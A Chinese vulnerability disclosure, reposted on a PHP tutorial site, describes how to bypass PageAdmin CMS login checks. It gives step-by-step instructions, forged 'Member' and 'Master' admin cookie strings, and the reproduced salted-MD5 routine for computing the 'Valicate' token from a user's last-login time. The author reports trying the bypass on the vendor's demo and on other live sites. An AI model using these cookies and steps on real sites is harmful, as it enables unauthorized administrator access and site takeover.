网站地图    收藏   

主页 > 后端 > 网站安全 >

PageAdmin可绕过验证伪造任意用户身份登录

来源:自学PHP网    时间:2021-09-07 21:04 作者: 阅读:

[导读] 原来是有一个验证的,但是不小心就想到办法绕过去了详细说明:先大概说一下流程:前台:初步身份伪造--获取某项信息--程序计算--伪造最终cookie登录成功后台(特别注意!):先成...

原来是有一个验证的,但是不小心就想到办法绕过去了

先大概说一下流程:


前台:

初步身份伪造-->获取某项信息-->程序计算-->伪造最终cookie登录成功

后台(特别注意!):

先成功伪造身份登录前台-->打开后台页面(注意让他重新获取cookie)-->程序计算-->利用伪造的cookie打开index

后台的必须按上面的流程走,没有登录前台的话会导致后台校验失败,有太多多余的cookie的话会导致后台登录后报错!





前台

第一步,初步身份伪造

问题代码:
 

text = Member_Valicate.aC7c4DsFNKxcZ9Ao2KU(Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current)
.Cookies["Member"].Values, "UID");



直接从Member里面获取UID的值。



http://demo.pageadmin.net/e/member/index.aspx?s=1&type=mem_idx

cookie添加

Member=UID=2&Valicate=f75efb546591145c2ab152c1194ad10613df3

UID=2啥意思就不解释了,admin默认的uid是2
 

image049.png



添加cookie之后访问上面的链接,即可:
 

image050.png



测试另外一个网站:
 

image052.png


 

image053.png



本地测试:
 

image055.png



但是在执行部分操作的时候是提示Valicate是无效的,如下图
 

image057.png





再说下这个验证的代码:
 

b =Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current).Cookies["Member"].Values["Valicate"].ToString();
this.U8VWxh9WtC = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss"); 
flag = !(md.Get_Md5(this.U8VWxh9WtC) != b); //把两个货比较,很悲剧啊
if (!flag)
{
this.tfYWhhmueR();
Member_Valicate.sVS2ySs4W4iMlcmVLhA(HttpContext.Current.Response, "<script type='text/javascript'>alert('invalid verification!');location.href='" + str + "';</script>");
arg_2A4_0 = 10;
continue;
}





b是你cookie中的valicate,U8VWxh9WtC是从数据库中读取出来的lastdate(最后登录时间),如下图
 

image059.png



好吧,看到这里是不是觉得无解了?无法绕过?最后登录时间怎么搞啊?哈哈



第二步,获取&ldquo;某项&rdquo;信息

简单,仔细看登录后的页面:
 

image060.png



014-5-22 10:17:18

明白没?虽然我们做不了别的操作,但是关键信息已经获取到了!



第三步,该上程序了!

关键的校验md5生成代码:
 

public string Get_Md5(string s)
{
    MD5 mD = new MD5CryptoServiceProvider();
    Encoding encoding = Encoding.GetEncoding("UTF-8");
    string s2 = "pageadmin cms";
    byte[] array = mD.ComputeHash(encoding.GetBytes(s));
    byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
    StringBuilder stringBuilder = new StringBuilder(32);
    for (int i = 0; i < array.Length; i++)
    {
        stringBuilder.Append(((int)(array[i] + array2[i])).ToString("x").PadLeft(2, '0'));
    }
    return stringBuilder.ToString();
}



呵呵了吗?
 

image062.png





用伪造好的东西(eee开头那串),上!

最终步骤!
 

image064.png



呵呵了!做任何操作都没有限制!

后台


在cookie中直接添加以下字段:

tongji=1; referer=; Master=UID=2&Valicate=d7133f6117b1ccd18ae511e1971851867912516a; SiteId=1
 

image066.png



功访问后台!



试试官网:
 

image068.png



但做其它操作会还是会提示:
 

image070.png





原理和上面是一样的时间也是一样的具体不多说了,简单放几行代码
 

this.TclWJqMrlI = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss");
string text2 = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString();
flag = !Master_Valicate.e51WJWsgAgH9BDJaION(md.Get_Md5(this.TclWJqMrlI), text2);





上神器!
 

image072.png



tongji=1; referer=; Master=UID=2&Valicate= eee0fe3b811371209c14611a157133188fee314a; SiteId=1
 

image073.png



另外一个网站:
 

image075.png



官网demo:
 

image077.png





后台拿shell请看之前发布的漏洞

修复方案:

这套程序太经典了,居然可以发现那么多有代表性的漏洞&hellip;&hellip;身份验证应该严格一点啊,这也太松散了
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论